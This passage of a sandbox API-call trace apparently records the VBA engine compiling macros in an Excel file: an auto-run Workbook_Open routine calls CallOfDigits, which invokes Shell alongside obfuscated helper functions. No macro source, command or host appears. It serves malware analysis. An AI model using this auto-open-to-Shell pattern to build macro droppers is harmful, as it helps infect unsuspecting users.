szName="VB_Creatable") returned 0x101d92 [0089.874] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0089.874] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.874] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0089.874] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0089.874] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.874] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0089.874] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0089.874] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.874] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0089.875] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0089.875] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.875] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0089.875] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0089.875] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0089.875] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CallOfDigits") returned 0x1083c6 [0089.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2b16, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0089.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2b16, cbMultiByte=12, lpWideCharStr=0x748d458, cchWideChar=12 | out: lpWideCharStr="CallOfDigits") returned 12 [0089.876] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0xb940a60 [0089.876] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xad80000 [0089.877] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dabsa") returned 0x10d3e7 [0089.877] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0xb940aa0 [0089.877] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xafe0000 [0089.878] IMalloc:Realloc (This=0x7feffc15380, pv=0xb61e910, cb=0x430) returned 0xba5bed0 [0089.878] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Call") returned 0x10744b [0089.878] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shell") returned 0x10d756 [0089.878] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Nepalo") returned 0x105bca [0089.878] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sdemom") returned 0x10fd9c [0089.882] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dabsa") returned 0x10d3e7 [0089.883] atoi (_Str="99") returned 99 [0089.883] atoi (_Str="99") returned 99 [0089.883] IMalloc:Realloc (This=0x7feffc15380, pv=0xba5bed0, cb=0x860) returned 0xba5bed0 [0089.884] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0089.884] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0089.884] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0089.884] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook_Open") returned 0x10e19b [0089.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2be6, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0089.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2be6, cbMultiByte=13, lpWideCharStr=0x748d458, cchWideChar=13 | out: lpWideCharStr="Workbook_Open") returned 13 [0089.884] IMalloc:Realloc (This=0x7feffc15380, pv=0xb61e9a0, cb=0x100) returned 0xba97140 [0089.884] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CallOfDigits") returned 0x1083c6 [0089.884] strcpy_s (in: _Dst=0x7fee60befc0, _DstSize=0x100, _Src="CallOfDigits" | out: _Dst="CallOfDigits") returned 0x0 [0089.885] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0089.885] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0089.885] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.885] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Nepalo") returned 0x105bca [0089.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2b96, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0089.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2b96, cbMultiByte=6, lpWideCharStr=0xb3dd578, cchWideChar=6 | out: lpWideCharStr="Nepalo") returned 6 [0089.885] IMalloc:Realloc (This=0x7feffc15380, pv=0xba97140, cb=0x200) returned 0x4bc8c60 [0089.885] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Nepalo") returned 0x105bca [0089.885] strcpy_s (in: _Dst=0x7fee60befc0, _DstSize=0x100, _Src="Nepalo" | out: _Dst="Nepalo") returned 0x0 [0089.885] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SecondNulls") returned 0x1017e6 [0089.886] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0089.886] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.886] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0089.886] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fcharss") returned 0x105286 [0089.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2c42, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0089.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2c42, cbMultiByte=7, lpWideCharStr=0xb3dd578, cchWideChar=7 | out: lpWideCharStr="Fcharss") returned 7 [0089.886] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sStr") returned 0x103058 [0089.886] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sSrt") returned 0x103010 [0089.886] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0089.886] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0089.887] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.887] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="settler") returned 0x100606 [0089.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2cba, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0089.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2cba, cbMultiByte=7, lpWideCharStr=0xb3dd578, cchWideChar=7 | out: lpWideCharStr="settler") returned 7 [0089.887] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="settler") returned 0x100606 [0089.887] strcpy_s (in: _Dst=0x7fee60befc0, _DstSize=0x100, _Src="settler" | out: _Dst="settler") returned 0x0 [0089.887] IMalloc:Realloc (This=0x7feffc15380, pv=0xba5bed0, cb=0x10c0) returned 0xbad7ac0 [0089.887] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0089.887] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="doublecheck") returned 0x10f783 [0089.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2ce2, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0089.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2ce2, cbMultiByte=11, lpWideCharStr=0xb3dd578, cchWideChar=11 | out: lpWideCharStr="doublecheck") returned 11 [0089.888] IMalloc:Realloc (This=0x7feffc15380, pv=0x4bc8c60, cb=0x400) returned 0xb723580 [0089.888] CExposedStream::Read () returned 0x0 [0089.888] CExposedStream::Read () returned 0x0 [0089.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="doublecheck") returned 0x10f783 [0089.888] strcpy_s (in: _Dst=0x7fee60befc0, _DstSize=0x100, _Src="doublecheck" | out: _Dst="doublecheck") returned 0x0 [0089.889] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0089.889] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.889] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.889] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="formsands") returned 0x1020d8 [0089.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2d0e, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0089.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2d0e, cbMultiByte=9, lpWideCharStr=0xb3dd578, cchWideChar=9 | out: lpWideCharStr="formsands") returned 9 [0089.889] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="formsands") returned 0x1020d8 [0089.889] strcpy_s (in: _Dst=0x7fee60befc0, _DstSize=0x100, _Src="formsands" | out: _Dst="formsands") returned 0x0 [0089.890] IMalloc:Realloc (This=0x7feffc15380, pv=0xbad7ac0, cb=0x2180) returned 0xbad7ac0 [0089.890] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0089.890] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.890] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.890] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cleardatas") returned 0x106438 [0089.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2d3a, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0089.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2d3a, cbMultiByte=10, lpWideCharStr=0xb3dd578, cchWideChar=10 | out: lpWideCharStr="cleardatas") returned 10 [0089.890] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cleardatas") returned 0x106438 [0089.890] strcpy_s (in: _Dst=0x7fee60befc0, _DstSize=0x100, _Src="cleardatas" | out: _Dst="cleardatas") returned 0x0 [0089.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0089.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="commde") returned 0x100320 [0089.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2d66, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0089.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2d66, cbMultiByte=6, lpWideCharStr=0xb3dd578, cchWideChar=6 | out: lpWideCharStr="commde") returned 6 [0089.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="commde") returned 0x100320 [0089.891] strcpy_s (in: _Dst=0x7fee60befc0, _DstSize=0x100, _Src="commde" | out: _Dst="commde") returned 0x0 [0089.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0089.891] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.892] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.892] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="crsss") returned 0x10bd4f [0089.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2d8e, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0089.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2d8e, cbMultiByte=5, lpWideCharStr=0xb3dd578, cchWideChar=5 | out: lpWideCharStr="crsss") returned 5 [0089.892] IMalloc:Realloc (This=0x7feffc15380, pv=0xb723580, cb=0x800) returned 0xba6e540 [0089.892] CExposedStream::Read () returned 0x0 [0089.892] CExposedStream::Read () returned 0x0 [0089.892] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="crsss") returned 0x10bd4f [0089.892] strcpy_s (in: _Dst=0x7fee60befc0, _DstSize=0x100, _Src="crsss" | out: _Dst="crsss") returned 0x0 [0089.893] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0089.893] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.893] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.893] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SecondNulls") returned 0x1017e6 [0089.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2c16, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0089.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2c16, cbMultiByte=11, lpWideCharStr=0xb3dd578, cchWideChar=11 | out: lpWideCharStr="SecondNulls") returned 11 [0089.893] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SecondNulls") returned 0x1017e6 [0089.893] strcpy_s (in: _Dst=0x7fee60befc0, _DstSize=0x100, _Src="SecondNulls" | out: _Dst="SecondNulls") returned 0x0 [0089.893] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="settler") returned 0x100606 [0089.894] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="doublecheck") returned 0x10f783 [0089.894] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="formsands") returned 0x1020d8 [0089.894] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cleardatas") returned 0x106438 [0089.894] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="commde") returned 0x100320 [0089.894] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="crsss") returned 0x10bd4f [0089.894] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0089.894] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.894] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3 [0089.894] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.895] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sdemom") returned 0x10fd9c [0089.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2bbe, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0089.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2bbe, cbMultiByte=6, lpWideCharStr=0xb3dd578, cchWideChar=6 | out: lpWideCharStr="sdemom") returned 6 [0089.895] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sdemom") returned 0x10fd9c [0089.895] strcpy_s (in: _Dst=0x7fee60befc0, _DstSize=0x100, _Src="sdemom" | out: _Dst="sdemom") returned 0x0 [0089.895] IMalloc:Realloc (This=0x7feffc15380, pv=0xbad7ac0, cb=0x4300) returned 0xbad9c50 [0089.896] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0089.896] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0089.896] CExposedStream::Read () returned 0x0 [0089.897] IMalloc:Realloc (This=0x7feffc15380, pv=0xbad4bd0, cb=0x6fc) returned 0xbad4bd0 [0089.897] CExposedStream::Release () returned 0x1 [0089.897] CExposedStream::Release () returned 0x0 [0089.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x22f430, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0089.898] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0089.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x22f570, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0089.898] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0089.898] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8da6c0, cb=0x10) returned 0xb5bc330 [0089.898] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb61e9a0 [0089.898] IMalloc:GetSize (This=0x7feffc15380, pv=0xb61e9a0) returned 0x80 [0089.898] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xb528a90 [0089.898] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xb528b50 [0089.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x22f430, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0089.899] CoCreateGuid (in: pguid=0x22f160 | out: pguid=0x22f160*(Data1=0x43716694, Data2=0xa83a, Data3=0x4611, Data4=([0]=0x80, [1]=0x50, [2]=0x3, [3]=0xae, [4]=0xb6, [5]=0xb9, [6]=0x91, [7]=0xe3))) returned 0x0 [0089.899] CoCreateGuid (in: pguid=0x22f170 | out: pguid=0x22f170*(Data1=0x24bef14d, Data2=0xc3bb, Data3=0x4096, Data4=([0]=0xa3, [1]=0x7d, [2]=0x72, [3]=0xb2, [4]=0x50, [5]=0xa, [6]=0x61, [7]=0x6))) returned 0x0 [0089.899] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x22f180, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0089.899] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0089.899] GetLocalTime (in: lpSystemTime=0x22f058 | out: lpSystemTime=0x22f058*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x2, wDay=0x6, wHour=0xa, wMinute=0x18, wSecond=0x3, wMilliseconds=0x188)) [0089.899] _ultow_s (in: _Value=0x5dbeaac3, _Buffer=0xba5b504, _BufferCount=0x9, _Radix=16 | out: _Buffer="5dbeaac3") returned 0x0 [0089.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="025dbeaac3", cchWideChar=11, lpMultiByteStr=0x22eff0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="025dbeaac3", lpUsedDefaultChar=0x0) returned 11 [0089.899] strcpy_s (in: _Dst=0xb51cf98, _DstSize=0x7, _Src="Sheet1" | out: _Dst="Sheet1") returned 0x0 [0089.899] IMalloc:Realloc (This=0x7feffc15380, pv=0xb470f80, cb=0xd0) returned 0xb4ee820 [0089.899] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0089.899] wcscpy_s (in: _Destination=0xba5b518, _SizeInWords=0x7, _Source="Sheet1" | out: _Destination="Sheet1") returned 0x0 [0089.899] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0089.899] wcscpy_s (in: _Destination=0xba5b528, _SizeInWords=0x7, _Source="Sheet1" | out: _Destination="Sheet1") returned 0x0 [0089.899] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5bc5b0, cb=0x24) returned 0xb8c20c0 [0089.899] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8d8f20, cb=0xc) returned 0xb5bc5b0 [0089.899] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0089.900] IMalloc:Alloc (This=0x7feffc15380, cb=0x48) returned 0x7309730 [0089.900] IMalloc:Free (This=0x7feffc15380, pv=0xb470f10) [0089.900] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8c2150 [0089.900] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8c2150, cb=0x74) returned 0xb695b90 [0089.900] IMalloc:Free (This=0x7feffc15380, pv=0x7309730) [0089.900] IMalloc:Alloc (This=0x7feffc15380, cb=0x3d0) returned 0x71c1460 [0089.900] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8c2150 [0089.900] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xb5bbeb0 [0089.900] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb61e910 [0089.900] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb8d8f20 [0089.900] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb8da6c0 [0089.900] IMalloc:Alloc (This=0x7feffc15380, cb=0x688) returned 0x7400c60 [0089.900] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb61ea30 [0089.900] IMalloc:Alloc (This=0x7feffc15380, cb=0x640) returned 0x6f9da80 [0089.900] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8c2180 [0089.900] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb8d9d80 [0089.900] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb8d8f00 [0089.900] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8c21b0 [0089.900] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb61eac0 [0089.901] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0089.901] wcsncpy_s (in: _Destination=0x22f1d0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0x0 [0089.901] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", cchLength=0x36 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls") returned 0x36 [0089.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", cchWideChar=55, lpMultiByteStr=0x22f100, cbMultiByte=110, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", lpUsedDefaultChar=0x0) returned 55 [0089.901] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0 [0089.901] CExposedStream::Seek () returned 0x0 [0089.901] CExposedStream::AddRef () returned 0x2 [0089.901] CExposedStream::Read () returned 0x0 [0089.901] CExposedStream::AddRef () returned 0x3 [0089.901] CExposedStream::Release () returned 0x2 [0089.901] IMalloc:Alloc (This=0x7feffc15380, cb=0x2ee0) returned 0xbad52e0 [0089.901] CExposedStream::Read () returned 0x0 [0089.901] CExposedStream::Read () returned 0x0 [0089.901] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.902] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0089.902] IMalloc:Alloc (This=0x7feffc15380, cb=0x7) returned 0xb8da6e0 [0089.902] IMalloc:Alloc (This=0x7feffc15380, cb=0xe) returned 0xb5bc050 [0089.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb8da6e0, cbMultiByte=7, lpWideCharStr=0xb5bc050, cchWideChar=7 | out: lpWideCharStr="Sheet1") returned 7 [0089.902] IMalloc:Free (This=0x7feffc15380, pv=0xb8da6e0) [0089.902] IMalloc:Free (This=0x7feffc15380, pv=0xb5bc050) [0089.902] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.902] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0089.902] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb8c21e0 [0089.902] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb49c080 [0089.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb8c21e0, cbMultiByte=40, lpWideCharStr=0xb49c080, cchWideChar=40 | out: lpWideCharStr="0{00020820-0000-0000-C000-000000000046}") returned 40 [0089.902] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb49bfc0 [0089.902] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8d8f20, cb=0x20) returned 0xb8c2210 [0089.902] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8d9d80, cb=0x28) returned 0xb8c2240 [0089.903] IMalloc:Free (This=0x7feffc15380, pv=0xb8c21e0) [0089.903] IMalloc:Free (This=0x7feffc15380, pv=0xb49c080) [0089.903] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.903] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0089.903] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0089.903] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.903] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0089.903] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0089.903] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.903] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0089.904] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0089.904] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.904] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0089.904] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0089.904] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.904] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0089.904] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0089.905] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0089.905] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0089.905] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0089.905] CExposedStream::Read () returned 0x0 [0089.905] IMalloc:Realloc (This=0x7feffc15380, pv=0xbad52e0, cb=0x258) returned 0xbad52e0 [0089.905] CExposedStream::Release () returned 0x1 [0089.905] CExposedStream::Release () returned 0x0 [0089.906] CExposedStream::Release () returned 0x0 [0089.906] IMalloc:Free (This=0x7feffc15380, pv=0xba24980) [0089.906] IMalloc:Free (This=0x7feffc15380, pv=0xba22950) [0089.906] IMalloc:Free (This=0x7feffc15380, pv=0xbac4ba0) [0089.906] IMalloc:Free (This=0x7feffc15380, pv=0xbac2b70) [0089.906] IMalloc:Free 